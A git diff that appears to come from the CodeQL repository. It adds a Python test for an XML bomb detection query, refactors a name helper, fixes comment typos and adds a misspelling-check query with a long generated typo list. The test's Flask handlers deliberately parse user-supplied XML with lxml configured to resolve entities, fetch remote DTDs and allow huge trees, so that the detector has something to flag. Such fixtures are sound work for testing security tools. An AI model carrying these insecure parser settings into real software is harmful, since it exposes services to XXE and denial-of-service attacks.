diff --git a/python/ql/test/query-tests/Security/CWE-776-XmlBomb/XmlBomb.expected b/python/ql/test/query-tests/Security/CWE-776-XmlBomb/XmlBomb.expected
new file mode 100644
index 00000000000..15c439d0761
--- /dev/null
+++ b/python/ql/test/query-tests/Security/CWE-776-XmlBomb/XmlBomb.expected
@@ -0,0 +1,12 @@
+edges
+| test.py:19:19:19:25 | ControlFlowNode for request | test.py:19:19:19:30 | ControlFlowNode for Attribute |
+| test.py:19:19:19:30 | ControlFlowNode for Attribute | test.py:19:19:19:45 | ControlFlowNode for Subscript |
+| test.py:19:19:19:45 | ControlFlowNode for Subscript | test.py:30:34:30:44 | ControlFlowNode for xml_content |
+nodes
+| test.py:19:19:19:25 | ControlFlowNode for request | semmle.label | ControlFlowNode for request |
+| test.py:19:19:19:30 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute |
+| test.py:19:19:19:45 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript |
+| test.py:30:34:30:44 | ControlFlowNode for xml_content | semmle.label | ControlFlowNode for xml_content |
+subpaths
+#select
+| test.py:30:34:30:44 | ControlFlowNode for xml_content | test.py:19:19:19:25 | ControlFlowNode for request | test.py:30:34:30:44 | ControlFlowNode for xml_content | A $@ is parsed as XML without guarding against uncontrolled entity expansion. | test.py:19:19:19:25 | ControlFlowNode for request | user-provided value |
diff --git a/python/ql/test/query-tests/Security/CWE-776-XmlBomb/XmlBomb.qlref b/python/ql/test/query-tests/Security/CWE-776-XmlBomb/XmlBomb.qlref
new file mode 100644
index 00000000000..c983b357446
--- /dev/null
+++ b/python/ql/test/query-tests/Security/CWE-776-XmlBomb/XmlBomb.qlref
@@ -0,0 +1 @@
+Security/CWE-776/XmlBomb.ql
diff --git a/python/ql/test/query-tests/Security/CWE-776-XmlBomb/test.py b/python/ql/test/query-tests/Security/CWE-776-XmlBomb/test.py
new file mode 100644
index 00000000000..d9181c4cf34
--- /dev/null
+++ b/python/ql/test/query-tests/Security/CWE-776-XmlBomb/test.py
@@ -0,0 +1,30 @@
+from flask import Flask, request
+import lxml.etree
+
+app = Flask(__name__)
+
+@app.route("/vuln-handler")
+def vuln_handler():
+    xml_content = request.args['xml_content']
+    return lxml.etree.fromstring(xml_content).text
+
+@app.route("/safe-handler")
+def safe_handler():
+    xml_content = request.args['xml_content']
+    parser = lxml.etree.XMLParser(resolve_entities=False)
+    return lxml.etree.fromstring(xml_content, parser=parser).text
+
+@app.route("/super-vuln-handler")
+def super_vuln_handler():
+    xml_content = request.args['xml_content']
+    parser = lxml.etree.XMLParser(
+        # allows XXE
+        resolve_entities=True,
+        # allows remote XXE
+        no_network=False,
+        # together with `no_network=False`, allows DTD-retrival
+        load_dtd=True,
+        # allows DoS attacks
+        huge_tree=True,
+    )
+    return lxml.etree.fromstring(xml_content, parser=parser).text
diff --git a/ql/ql/src/codeql_ql/ast/Ast.qll b/ql/ql/src/codeql_ql/ast/Ast.qll
index 7642279dc59..17f8d5142d3 100644
--- a/ql/ql/src/codeql_ql/ast/Ast.qll
+++ b/ql/ql/src/codeql_ql/ast/Ast.qll
@@ -919,7 +919,7 @@ class NewTypeBranch extends TNewTypeBranch, Predicate, TypeDeclaration {
 class Call extends TCall, Expr, Formula {
   /** Gets the `i`th argument of this call. */
   Expr getArgument(int i) {
-    none() // overriden in sublcasses.
+    none() // overridden in sublcasses.
   }
 
   /** Gets an argument of this call, if any. */
@@ -1901,13 +1901,13 @@ class FunctionSymbol extends string {
  */
 class BinOpExpr extends TBinOpExpr, Expr {
   /** Gets the left operand of the binary expression. */
-  Expr getLeftOperand() { none() } // overriden in subclasses
+  Expr getLeftOperand() { none() } // overridden in subclasses
 
   /** Gets the right operand of the binary expression. */
-  Expr getRightOperand() { none() } // overriden in subclasses
+  Expr getRightOperand() { none() } // overridden in subclasses
 
   /** Gets the operator of the binary expression. */
-  FunctionSymbol getOperator() { none() } // overriden in subclasses
+  FunctionSymbol getOperator() { none() } // overridden in subclasses
 
   /** Gets an operand of the binary expression. */
   final Expr getAnOperand() { result = this.getLeftOperand() or result = this.getRightOperand() }
@@ -2532,8 +2532,15 @@ module YAML {
      * Gets a QLPack that this QLPack depends on.
      */
     QLPack getADependency() {
-      exists(string name | this.hasDependency(name, _) |
-        result.getName().replaceAll("-", "/") = name.replaceAll("-", "/")
+      exists(string rawDep, string dep, string name | this.hasDependency(rawDep, _) |
+        dep = rawDep.replaceAll("-", "/") and
+        name = result.getName().replaceAll("-", "/") and
+        (
+          name = dep
+          or
+          name.matches("codeql/%") and
+          name = dep + "/all"
+        )
       )
     }
 
diff --git a/ql/ql/src/codeql_ql/ast/internal/Type.qll b/ql/ql/src/codeql_ql/ast/internal/Type.qll
index 4d88cd194d5..a2d9b3f7076 100644
--- a/ql/ql/src/codeql_ql/ast/internal/Type.qll
+++ b/ql/ql/src/codeql_ql/ast/internal/Type.qll
@@ -32,13 +32,13 @@ class Type extends TType {
   string getName() { result = "???" }
 
   /**
-   * Gets a supertype of this type. This follows the user-visible type heirarchy,
+   * Gets a supertype of this type. This follows the user-visible type hierarchy,
    * and doesn't include internal types like the characteristic and domain types of classes.
    */
   Type getASuperType() { none() }
 
   /**
-   * Gets a supertype of this type in the internal heirarchy,
+   * Gets a supertype of this type in the internal hierarchy,
    * which includes the characteristic and domain types of classes.
    */
   Type getAnInternalSuperType() { result = TDontCare() }
diff --git a/ql/ql/src/codeql_ql/dataflow/DataFlow.qll b/ql/ql/src/codeql_ql/dataflow/DataFlow.qll
index 3f6c4903970..da8bc1da837 100644
--- a/ql/ql/src/codeql_ql/dataflow/DataFlow.qll
+++ b/ql/ql/src/codeql_ql/dataflow/DataFlow.qll
@@ -212,7 +212,7 @@ class SuperNode extends LocalFlow::TSuperNode {
    * The node is arbitrary and the caller should not rely on how the node is chosen.
    * The node is currently chosen such that:
    * - An `AstNodeNode` is preferred over other nodes.
-   * - A node occuring earlier is preferred over one occurring later.
+   * - A node occurring earlier is preferred over one occurring later.
    */
   Node getArbitraryRepr() { result = min(Node n | n = getANode() | n order by getInternalId(n)) }
 
@@ -343,7 +343,7 @@ class Tracker extends GlobalFlow::TEdgeLabelOrTrackerState {
   /** Holds if this is the starting point, that is, the summary of the empty path. */
   predicate start() { this = GlobalFlow::MkNoEdge() }
 
-  /** Holds if a call step has been used (possibly preceeded by return steps). */
+  /** Holds if a call step has been used (possibly preceded by return steps). */
   predicate hasCall() { this = GlobalFlow::MkHasCall() }
 
   /** Holds if either `start()` or `hasCall()` holds */
diff --git a/ql/ql/src/codeql_ql/printAstAst.qll b/ql/ql/src/codeql_ql/printAstAst.qll
index feb525908d2..a80091ff940 100644
--- a/ql/ql/src/codeql_ql/printAstAst.qll
+++ b/ql/ql/src/codeql_ql/printAstAst.qll
@@ -25,7 +25,7 @@ class PrintAstConfiguration extends string {
 
 /**
  * Gets the `i`th child of parent.
- * The ordering is location based and pretty arbitary.
+ * The ordering is location based and pretty arbitrary.
  */
 AstNode getAstChild(PrintAstNode parent, int i) {
   result =
diff --git a/ql/ql/src/codeql_ql/printAstGenerated.qll b/ql/ql/src/codeql_ql/printAstGenerated.qll
index caee0ab809a..e93c0b38867 100644
--- a/ql/ql/src/codeql_ql/printAstGenerated.qll
+++ b/ql/ql/src/codeql_ql/printAstGenerated.qll
@@ -28,7 +28,7 @@ class PrintAstConfiguration extends string {
 
 /**
  * Gets the `i`th child of parent.
- * The ordering is location based and pretty arbitary.
+ * The ordering is location based and pretty arbitrary.
  */
 AstNode getAstChild(PrintAstNode parent, int i) {
   result =
diff --git a/ql/ql/src/codeql_ql/style/AcronymsShouldBeCamelCaseQuery.qll b/ql/ql/src/codeql_ql/style/AcronymsShouldBeCamelCaseQuery.qll
index 95d67ef47bb..9af28333cfe 100644
--- a/ql/ql/src/codeql_ql/style/AcronymsShouldBeCamelCaseQuery.qll
+++ b/ql/ql/src/codeql_ql/style/AcronymsShouldBeCamelCaseQuery.qll
@@ -1,35 +1,5 @@
 import ql
-
-/**
- * Gets the name for a `node` that defines something in a QL program.
- * E.g. a predicate, class, or module definition.
- */
-string getName(AstNode node, string kind) {
-  result = node.(Class).getName() and kind = "class"
-  or
-  // not including CharPreds or db relations. The remaining are: classlessPredicate, classPredicate, newTypeBranch.
-  result = node.(ClasslessPredicate).getName() and
-  kind = "classlessPredicate"
-  or
-  result = node.(ClassPredicate).getName() and
-  kind = "classPredicate"
-  or
-  result = node.(NewTypeBranch).getName() and
-  kind = "newtypeBranch"
-  or
-  result = node.(NewType).getName() and
-  kind = "newtype"
-  or
-  result = node.(VarDecl).getName() and
-  kind = "variable" and
-  not node = any(FieldDecl f).getVarDecl()
-  or
-  result = node.(FieldDecl).getName() and kind = "field"
-  or
-  result = node.(Module).getName() and kind = "module"
-  or
-  result = node.(Import).importedAs() and kind = "import"
-}
+private import NodeName
 
 string prettyPluralKind(string kind) {
   kind = "class" and result = "classes"
diff --git a/ql/ql/src/codeql_ql/style/MisspellingQuery.qll b/ql/ql/src/codeql_ql/style/MisspellingQuery.qll
new file mode 100644
index 00000000000..3c51df79a00
--- /dev/null
+++ b/ql/ql/src/codeql_ql/style/MisspellingQuery.qll
@@ -0,0 +1,69 @@
+import ql
+private import NodeName
+private import TypoDatabase
+
+predicate misspelling(string wrong, string right, string mistake) {
+  mistake = "common misspelling" and
+  (typos(wrong, right) or additional_typos(wrong, right))
+  or
+  mistake = "non-US spelling" and
+  non_us_spelling(wrong, right)
+}
+
+predicate additional_typos(string wrong, string right) {
+  wrong = "tranformer" and right = "transformer"
+}
+
+/**
+ * Holds if `word` is an acceptable spelling that would otherwise be considered
+ * a mistake by the typo database.
+ */
+predicate isAllowed(string word) {
+  word =
+    [
+      "asign", // 'sign of a', not 'assign'
+      "larg", // 'left argument', not 'large'
+      "nto", // some comments refer to the variable `nTo`
+      "thn" // deliberate misspelling of 'then' to avoid using a keyword
+    ]
+}
+
+predicate non_us_spelling(string wrong, string right) {
+  exists(string s |
+    wrong = s.splitAt("/", 0) and
+    right = s.splitAt("/", 1) and
+    s =
+      [
+        "colour/color", "authorise/authorize", "authorises/authorizes", "authorised/authorized",
+        "analyse/analyze", "analysed/analyzed", "behaviour/behavior", "modelling/modeling",
+        "modelled/modeled"
+      ]
+  )
+}
+
+/**
+ * Gets a word in the camel-case string `s`. For example, if `s` is
+ * `"getFooBar"`, it returns `"get"`, `"Foo"`, and `"Bar"`.
+ */
+bindingset[s]
+string getACamelCaseWord(string s) { result = s.regexpFind("(^[a-z]+)|([A-Z][a-z]+)", _, _) }
+
+bindingset[s]
+string getACommentWord(string s) { result = s.regexpFind("\\b\\w+\\b", _, _) }
+
+string getAWord(AstNode node, string kind) {
+  result = getACommentWord(node.(QLDoc).getContents()).toLowerCase() and
+  kind = "QLDoc comment"
+  or
+  exists(string nodeKind |
+    result = getACamelCaseWord(getName(node, nodeKind)).toLowerCase() and
+    kind = nodeKind + " name"
+  )
+}
+
+predicate misspelled_element(AstNode node, string kind, string wrong, string right, string mistake) {
+  wrong = getAWord(node, kind) and
+  misspelling(wrong, right, mistake) and
+  not isAllowed(wrong) and
+  not node.hasAnnotation("deprecated")
+}
diff --git a/ql/ql/src/codeql_ql/style/NodeName.qll b/ql/ql/src/codeql_ql/style/NodeName.qll
new file mode 100644
index 00000000000..6d02b7bb70c
--- /dev/null
+++ b/ql/ql/src/codeql_ql/style/NodeName.qll
@@ -0,0 +1,32 @@
+import ql
+
+/**
+ * Gets the name for a `node` that defines something in a QL program.
+ * E.g. a predicate, class, or module definition.
+ */
+string getName(AstNode node, string kind) {
+  result = node.(Class).getName() and kind = "class"
+  or
+  // not including CharPreds or db relations. The remaining are: classlessPredicate, classPredicate, newTypeBranch.
+  result = node.(ClasslessPredicate).getName() and
+  kind = "classlessPredicate"
+  or
+  result = node.(ClassPredicate).getName() and
+  kind = "classPredicate"
+  or
+  result = node.(NewTypeBranch).getName() and
+  kind = "newtypeBranch"
+  or
+  result = node.(NewType).getName() and
+  kind = "newtype"
+  or
+  result = node.(VarDecl).getName() and
+  kind = "variable" and
+  not node = any(FieldDecl f).getVarDecl()
+  or
+  result = node.(FieldDecl).getName() and kind = "field"
+  or
+  result = node.(Module).getName() and kind = "module"
+  or
+  result = node.(Import).importedAs() and kind = "import"
+}
diff --git a/ql/ql/src/codeql_ql/style/TypoDatabase.qll b/ql/ql/src/codeql_ql/style/TypoDatabase.qll
new file mode 100644
index 00000000000..aad43d9d0cc
--- /dev/null
+++ b/ql/ql/src/codeql_ql/style/TypoDatabase.qll
@@ -0,0 +1,9031 @@
+/**
+ * Holds if `wrong` is a common misspelling of `right`.
+ *
+ * This predicate was automatically generated by
+ *     python buildutils-internal/scripts/generate-typos.py
+ * which uses http://en.wikipedia.org/wiki/Wikipedia:Lists_of_common_misspellings/For_machines (with custom additions) on 2018-01-19.
+ *
+ * This file is available under the Creative Commons Attribution-ShareAlike License
+ * (https://en.wikipedia.org/wiki/Wikipedia:Text_of_Creative_Commons_Attribution-ShareAlike_3.0_Unported_License).
+ */
+predicate typos(string wrong, string right) {
+  wrong = "abandonned" and right = "abandoned"
+  or
+  wrong = "abbout" and right = "about"
+  or
+  wrong = "aberation" and right = "aberration"
+  or
+  wrong = "abilityes" and right = "abilities"
+  or
+  wrong = "abilties" and right = "abilities"
+  or
+  wrong = "abilty" and right = "ability"
+  or
+  wrong = "abondon" and right = "abandon"
+  or
+  wrong = "abondoned" and right = "abandoned"
+  or
+  wrong = "abondoning" and right = "abandoning"
+  or
+  wrong = "abondons" and right = "abandons"
+  or
+  wrong = "aborigene" and right = "aborigine"
+  or
+  wrong = "abortificant" and right = "abortifacient"
+  or
+  wrong = "abotu" and right = "about"
+  or
+  wrong = "abreviate" and right = "abbreviate"
+  or
+  wrong = "abreviated" and right = "abbreviated"
+  or
+  wrong = "abreviation" and right = "abbreviation"
+  or
+  wrong = "abritrary" and right = "arbitrary"
+  or
+  wrong = "absail" and right = "abseil"
+  or
+  wrong = "absailing" and right = "abseiling"
+  or
+  wrong = "abscence" and right = "absence"
+  or
+  wrong = "absense" and right = "absence"
+  or
+  wrong = "absolutly" and right = "absolutely"
+  or
+  wrong = "absorbsion" and right = "absorption"
+  or
+  wrong = "absorbtion" and right = "absorption"
+  or
+  wrong = "abudance" and right = "abundance"
+  or
+  wrong = "abundacies" and right = "abundances"
+  or
+  wrong = "abundancies" and right = "abundances"
+  or
+  wrong = "abundunt" and right = "abundant"
+  or
+  wrong = "abutts" and right = "abuts"
+  or
+  wrong = "acadamy" and right = "academy"
+  or
+  wrong = "acadmic" and right = "academic"
+  or
+  wrong = "accademic" and right = "academic"
+  or
+  wrong = "accademy" and right = "academy"
+  or
+  wrong = "acccess" and right = "access"
+  or
+  wrong = "acccused" and right = "accused"
+  or
+  wrong = "accelleration" and right = "acceleration"
+  or
+  wrong = "accension" and right = "accession"
+  or
+  wrong = "accension" and right = "ascension"
+  or
+  wrong = "acceptence" and right = "acceptance"
+  or
+  wrong = "acceptible" and right = "acceptable"
+  or
+  wrong = "accesories" and right = "accessories"
+  or
+  wrong = "accessable" and right = "accessible"
+  or
+  wrong = "accidant" and right = "accident"
+  or
+  wrong = "accidentaly" and right = "accidentally"
+  or
+  wrong = "accidently" and right = "accidentally"
+  or
+  wrong = "acclimitization" and right = "acclimatization"
+  or
+  wrong = "accomadate" and right = "accommodate"
+  or
+  wrong = "accomadated" and right = "accommodated"
+  or
+  wrong = "accomadates" and right = "accommodates"
+  or
+  wrong = "accomadating" and right = "accommodating"
+  or
+  wrong = "accomadation" and right = "accommodation"
+  or
+  wrong = "accomadations" and right = "accommodations"
+  or
+  wrong = "accomdate" and right = "accommodate"
+  or
+  wrong = "accomodate" and right = "accommodate"
+  or
+  wrong = "accomodated" and right = "accommodated"
+  or
+  wrong = "accomodates" and right = "accommodates"
+  or
+  wrong = "accomodating" and right = "accommodating"
+  or
+  wrong = "accomodation" and right = "accommodation"
+  or
+  wrong = "accomodations" and right = "accommodations"
+  or
+  wrong = "accompanyed" and right = "accompanied"
+  or
+  wrong = "accordeon" and right = "accordion"
+  or
+  wrong = "accordian" and right = "accordion"
+  or
+  wrong = "accoring" and right = "according"
+  or
+  wrong = "accoustic" and right = "acoustic"
+  or
+  wrong = "accquainted" and right = "acquainted"
+  or
+  wrong = "accrediation" and right = "accreditation"
+  or
+  wrong = "accredidation" and right = "accreditation"
+  or
+  wrong = "accross" and right = "across"
+  or
+  wrong = "accussed" and right = "accused"
+  or
+  wrong = "acedemic" and right = "academic"
+  or
+  wrong = "acheive" and right = "achieve"
+  or
+  wrong = "acheived" and right = "achieved"
+  or
+  wrong = "acheivement" and right = "achievement"
+  or
+  wrong = "acheivements" and right = "achievements"
+  or
+  wrong = "acheives" and right = "achieves"
+  or
+  wrong = "acheiving" and right = "achieving"
+  or
+  wrong = "acheivment" and right = "achievement"
+  or
+  wrong = "acheivments" and right = "achievements"
+  or
+  wrong = "achievment" and right = "achievement"
+  or
+  wrong = "achievments" and right = "achievements"
+  or
+  wrong = "achive" and right = "achieve"
+  or
+  wrong = "achive" and right = "archive"
+  or
+  wrong = "achived" and right = "achieved"
+  or
+  wrong = "achived" and right = "archived"
+  or
+  wrong = "achivement" and right = "achievement"
+  or
+  wrong = "achivements" and right = "achievements"
+  or
+  wrong = "acident" and right = "accident"
+  or
+  wrong = "acknowldeged" and right = "acknowledged"
+  or
+  wrong = "acknowledgeing" and right = "acknowledging"
+  or
+  wrong = "ackward" and right = "awkward"
+  or
+  wrong = "ackward" and right = "backward"
+  or
+  wrong = "acommodate" and right = "accommodate"
+  or
+  wrong = "acomplish" and right = "accomplish"
+  or
+  wrong = "acomplished" and right = "accomplished"
+  or
+  wrong = "acomplishment" and right = "accomplishment"
+  or
+  wrong = "acomplishments" and right = "accomplishments"
+  or
+  wrong = "acording" and right = "according"
+  or
+  wrong = "acordingly" and right = "accordingly"
+  or
+  wrong = "acquaintence" and right = "acquaintance"
+  or
+  wrong = "acquaintences" and right = "acquaintances"
+  or
+  wrong = "acquiantence" and right = "acquaintance"
+  or
+  wrong = "acquiantences" and right = "acquaintances"
+  or
+  wrong = "acquited" and right = "acquitted"
+  or
+  wrong = "activites" and right = "activities"
+  or
+  wrong = "activly" and right = "actively"
+  or
+  wrong = "actualy" and right = "actually"
+  or
+  wrong = "acuracy" and right = "accuracy"
+  or
+  wrong = "acused" and right = "accused"
+  or
+  wrong = "acustom" and right = "accustom"
+  or
+  wrong = "acustommed" and right = "accustomed"
+  or
+  wrong = "adapater" and right = "adapter"
+  or
+  wrong = "adavanced" and right = "advanced"
+  or
+  wrong = "adbandon" and right = "abandon"
+  or
+  wrong = "addional" and right = "additional"
+  or
+  wrong = "addionally" and right = "additionally"
+  or
+  wrong = "additinally" and right = "additionally"
+  or
+  wrong = "additionaly" and right = "additionally"
+  or
+  wrong = "additonal" and right = "additional"
+  or
+  wrong = "additonally" and right = "additionally"
+  or
+  wrong = "addmission" and right = "admission"
+  or
+  wrong = "addopt" and right = "adopt"
+  or
+  wrong = "addopted" and right = "adopted"
+  or
+  wrong = "addoptive" and right = "adoptive"
+  or
+  wrong = "addres" and right = "adders"
+  or
+  wrong = "addres" and right = "address"
+  or
+  wrong = "addresable" and right = "addressable"
+  or
+  wrong = "addresed" and right = "addressed"
+  or
+  wrong = "addresing" and right = "addressing"
+  or
+  wrong = "addressess" and right = "addresses"
+  or
+  wrong = "addtion" and right = "addition"
+  or
+  wrong = "addtional" and right = "additional"
+  or
+  wrong = "adecuate" and right = "adequate"
+  or
+  wrong = "adequit" and right = "adequate"
+  or
+  wrong = "adhearing" and right = "adhering"
+  or
+  wrong = "adherance" and right = "adherence"
+  or
+  wrong = "admendment" and right = "amendment"
+  or
+  wrong = "admininistrative" and right = "administrative"
+  or
+  wrong = "adminstered" and right = "administered"
+  or
+  wrong = "adminstrate" and right = "administrate"
+  or
+  wrong = "adminstration" and right = "administration"
+  or
+  wrong = "adminstrative" and right = "administrative"
+  or
+  wrong = "adminstrator" and right = "administrator"
+  or
+  wrong = "admissability" and right = "admissibility"
+  or
+  wrong = "admissable" and right = "admissible"
+  or
+  wrong = "admited" and right = "admitted"
+  or
+  wrong = "admitedly" and right = "admittedly"
+  or
+  wrong = "adn" and right = "and"
+  or
+  wrong = "adolecent" and right = "adolescent"
+  or
+  wrong = "adquire" and right = "acquire"
+  or
+  wrong = "adquired" and right = "acquired"
+  or
+  wrong = "adquires" and right = "acquires"
+  or
+  wrong = "adquiring" and right = "acquiring"
+  or
+  wrong = "adres" and right = "address"
+  or
+  wrong = "adresable" and right = "addressable"
+  or
+  wrong = "adresing" and right = "addressing"
+  or
+  wrong = "adress" and right = "address"
+  or
+  wrong = "adressable" and right = "addressable"
+  or
+  wrong = "adressed" and right = "addressed"
+  or
+  wrong = "adressing" and right = "addressing"
+  or
+  wrong = "adressing" and right = "dressing"
+  or
+  wrong = "adventrous" and right = "adventurous"
+  or
+  wrong = "advertisment" and right = "advertisement"
+  or
+  wrong = "advertisments" and right = "advertisements"
+  or
+  wrong = "advesary" and right = "adversary"
+  or
+  wrong = "adviced" and right = "advised"
+  or
+  wrong = "aeriel" and right = "aerial"
+  or
+  wrong = "aeriels" and right = "aerials"
+  or
+  wrong = "afair" and right = "affair"
+  or
+  wrong = "afficianados" and right = "aficionados"
+  or
+  wrong = "afficionado" and right = "aficionado"
+  or
+  wrong = "afficionados" and right = "aficionados"
+  or
+  wrong = "affilate" and right = "affiliate"
+  or
+  wrong = "affilliate" and right = "affiliate"
+  or
+  wrong = "affort" and right = "afford"
+  or
+  wrong = "affort" and right = "effort"
+  or
+  wrong = "aforememtioned" and right = "aforementioned"
+  or
+  wrong = "againnst" and right = "against"
+  or
+  wrong = "agains" and right = "against"
+  or
+  wrong = "agaisnt" and right = "against"
+  or
+  wrong = "aganist" and right = "against"
+  or
+  wrong = "aggaravates" and right = "aggravates"
+  or
+  wrong = "aggreed" and right = "agreed"
+  or
+  wrong = "aggreement" and right = "agreement"
+  or
+  wrong = "aggregious" and right = "egregious"
+  or
+  wrong = "aggresive" and right = "aggressive"
+  or
+  wrong = "agian" and right = "again"
+  or
+  wrong = "agianst" and right = "against"
+  or
+  wrong = "agin" and right = "again"
+  or
+  wrong = "agina" and right = "again"
+  or
+  wrong = "agina" and right = "angina"
+  or
+  wrong = "aginst" and right = "against"
+  or
+  wrong = "agravate" and right = "aggravate"
+  or
+  wrong = "agre" and right = "agree"
+  or
+  wrong = "agred" and right = "agreed"
+  or
+  wrong = "agreeement" and right = "agreement"
+  or
+  wrong = "agreemnt" and right = "agreement"
+  or
+  wrong = "agregate" and right = "aggregate"
+  or
+  wrong = "agregates" and right = "aggregates"
+  or
+  wrong = "agreing" and right = "agreeing"
+  or
+  wrong = "agression" and right = "aggression"
+  or
+  wrong = "agressive" and right = "aggressive"
+  or
+  wrong = "agressively" and right = "aggressively"
+  or
+  wrong = "agressor" and right = "aggressor"
+  or
+  wrong = "agricultue" and right = "agriculture"
+  or
+  wrong = "agriculure" and right = "agriculture"
+  or
+  wrong = "agricuture" and right = "agriculture"
+  or
+  wrong = "agrieved" and right = "aggrieved"
+  or
+  wrong = "agrument" and right = "argument"
+  or
+  wrong = "agruments" and right = "arguments"
+  or
+  wrong = "ahev" and right = "have"
+  or
+  wrong = "ahppen" and right = "happen"
+  or
+  wrong = "ahve" and right = "have"
+  or
+  wrong = "aicraft" and right = "aircraft"
+  or
+  wrong = "aiport" and right = "airport"
+  or
+  wrong = "airbourne" and right = "airborne"
+  or
+  wrong = "aircaft" and right = "aircraft"
+  or
+  wrong = "aircrafts" and right = "aircraft"
+  or
+  wrong = "airporta" and right = "airports"
+  or
+  wrong = "airrcraft" and right = "aircraft"
+  or
+  wrong = "aisian" and right = "asian"
+  or
+  wrong = "albiet" and right = "albeit"
+  or
+  wrong = "alchohol" and right = "alcohol"
+  or
+  wrong = "alchoholic" and right = "alcoholic"
+  or
+  wrong = "alchol" and right = "alcohol"
+  or
+  wrong = "alcholic" and right = "alcoholic"
+  or
+  wrong = "alcohal" and right = "alcohol"
+  or
+  wrong = "alcoholical" and right = "alcoholic"
+  or
+  wrong = "aledge" and right = "allege"
+  or
+  wrong = "aledged" and right = "alleged"
+  or
+  wrong = "aledges" and right = "alleges"
+  or
+  wrong = "alege" and right = "allege"
+  or
+  wrong = "aleged" and right = "alleged"
+  or
+  wrong = "alegience" and right = "allegiance"
+  or
+  wrong = "algebraical" and right = "algebraic"
+  or
+  wrong = "algorhitms" and right = "algorithms"
+  or
+  wrong = "algoritm" and right = "algorithm"
+  or
+  wrong = "algoritms" and right = "algorithms"
+  or
+  wrong = "alientating" and right = "alienating"
+  or
+  wrong = "alledge" and right = "allege"
+  or
+  wrong = "alledged" and right = "alleged"
+  or
+  wrong = "alledgedly" and right = "allegedly"
+  or
+  wrong = "alledges" and right = "alleges"
+  or
+  wrong = "allegedely" and right = "allegedly"
+  or
+  wrong = "allegedy" and right = "allegedly"
+  or
+  wrong = "allegely" and right = "allegedly"
+  or
+  wrong = "allegence" and right = "allegiance"
+  or
+  wrong = "allegience" and right = "allegiance"
+  or
+  wrong = "allign" and right = "align"
+  or
+  wrong = "alligned" and right = "aligned"
+  or
+  wrong = "alliviate" and right = "alleviate"
+  or
+  wrong = "allopone" and right = "allophone"
+  or
+  wrong = "allopones" and right = "allophones"
+  or
+  wrong = "allready" and right = "already"
+  or
+  wrong = "allthough" and right = "although"
+  or
+  wrong = "alltogether" and right = "altogether"
+  or
+  wrong = "almsot" and right = "almost"
+  or
+  wrong = "alochol" and right = "alcohol"
+  or
+  wrong = "alomst" and right = "almost"
+  or
+  wrong = "alot" and right = "allot"
+  or
+  wrong = "alotted" and right = "allotted"
+  or
+  wrong = "alowed" and right = "allowed"
+  or
+  wrong = "alowing" and right = "allowing"
+  or
+  wrong = "alreayd" and right = "already"
+  or
+  wrong = "alse" and right = "else"
+  or
+  wrong = "alsot" and right = "also"
+  or
+  wrong = "alternitives" and right = "alternatives"
+  or
+  wrong = "altho" and right = "although"
+  or
+  wrong = "althought" and right = "although"
+  or
+  wrong = "altough" and right = "although"
+  or
+  wrong = "alusion" and right = "allusion"
+  or
+  wrong = "alusion" and right = "illusion"
+  or
+  wrong = "alwasy" and right = "always"
+  or
+  wrong = "alwyas" and right = "always"
+  or
+  wrong = "amalgomated" and right = "amalgamated"
+  or
+  wrong = "amatuer" and right = "amateur"
+  or
+  wrong = "amature" and right = "amateur"
+  or
+  wrong = "amature" and right = "armature"
+  or
+  wrong = "amendmant" and right = "amendment"
+  or
+  wrong = "amercia" and right = "america"
+  or
+  wrong = "amerliorate" and right = "ameliorate"
+  or
+  wrong = "amke" and right = "make"
+  or
+  wrong = "amking" and right = "making"
+  or
+  wrong = "ammend" and right = "amend"
+  or
+  wrong = "ammended" and right = "amended"
+  or
+  wrong = "ammendment" and right = "amendment"
+  or
+  wrong = "ammendments" and right = "amendments"
+  or
+  wrong = "ammount" and right = "amount"
+  or
+  wrong = "ammused" and right = "amused"
+  or
+  wrong = "amoung" and right = "among"
+  or
+  wrong = "amoungst" and right = "amongst"
+  or
+  wrong = "amung" and right = "among"
+  or
+  wrong = "amunition" and right = "ammunition"
+  or
+  wrong = "analagous" and right = "analogous"
+  or
+  wrong = "analitic" and right = "analytic"
+  or
+  wrong = "analogeous" and right = "analogous"
+  or
+  wrong = "anarchim" and right = "anarchism"
+  or
+  wrong = "anarchistm" and right = "anarchism"
+  or
+  wrong = "anbd" and right = "and"
+  or
+  wrong = "ancestory" and right = "ancestry"
+  or
+  wrong = "ancilliary" and right = "ancillary"
+  or
+  wrong = "andd" and right = "and"
+  or
+  wrong = "androgenous" and right = "androgynous"
+  or
+  wrong = "androgeny" and right = "androgyny"
+  or
+  wrong = "anihilation" and right = "annihilation"
+  or
+  wrong = "aniversary" and right = "anniversary"
+  or
+  wrong = "annoint" and right = "anoint"
+  or
+  wrong = "annointed" and right = "anointed"
+  or
+  wrong = "annointing" and right = "anointing"
+  or
+  wrong = "annoints" and right = "anoints"
+  or
+  wrong = "annouced" and right = "announced"
+  or
+  wrong = "annualy" and right = "annually"
+  or
+  wrong = "annuled" and right = "annulled"
+  or
+  wrong = "anohter" and right = "another"
+  or
+  wrong = "anomolies" and right = "anomalies"
+  or
+  wrong = "anomolous" and right = "anomalous"
+  or
+  wrong = "anomoly" and right = "anomaly"
+  or
+  wrong = "anonimity" and right = "anonymity"
+  or
+  wrong = "anounced" and right = "announced"
+  or
+  wrong = "anouncement" and right = "announcement"
+  or
+  wrong = "ansalisation" and right = "nasalisation"
+  or
+  wrong = "ansalization" and right = "nasalization"
+  or
+  wrong = "ansestors" and right = "ancestors"
+  or
+  wrong = "antartic" and right = "antarctic"
+  or
+  wrong = "anthromorphization" and right = "anthropomorphization"
+  or
+  wrong = "anthropolgist" and right = "anthropologist"
+  or
+  wrong = "anthropolgy" and right = "anthropology"
+  or
+  wrong = "anual" and right = "annual"
+  or
+  wrong = "anulled" and right = "annulled"
+  or
+  wrong = "anwsered" and right = "answered"
+  or
+  wrong = "anyhwere" and right = "anywhere"
+  or
+  wrong = "anytying" and right = "anything"
+  or
+  wrong = "aparent" and right = "apparent"
+  or
+  wrong = "aparment" and right = "apartment"
+  or
+  wrong = "apenines" and right = "apennines"
+  or
+  wrong = "aplication" and right = "application"
+  or
+  wrong = "aplied" and right = "applied"
+  or
+  wrong = "apolegetics" and right = "apologetics"
+  or
+  wrong = "apon" and right = "apron"
+  or
+  wrong = "apon" and right = "upon"
+  or
+  wrong = "apparant" and right = "apparent"
+  or
+  wrong = "apparantly" and right = "apparently"
+  or
+  wrong = "appart" and right = "apart"
+  or
+  wrong = "appartment" and right = "apartment"
+  or
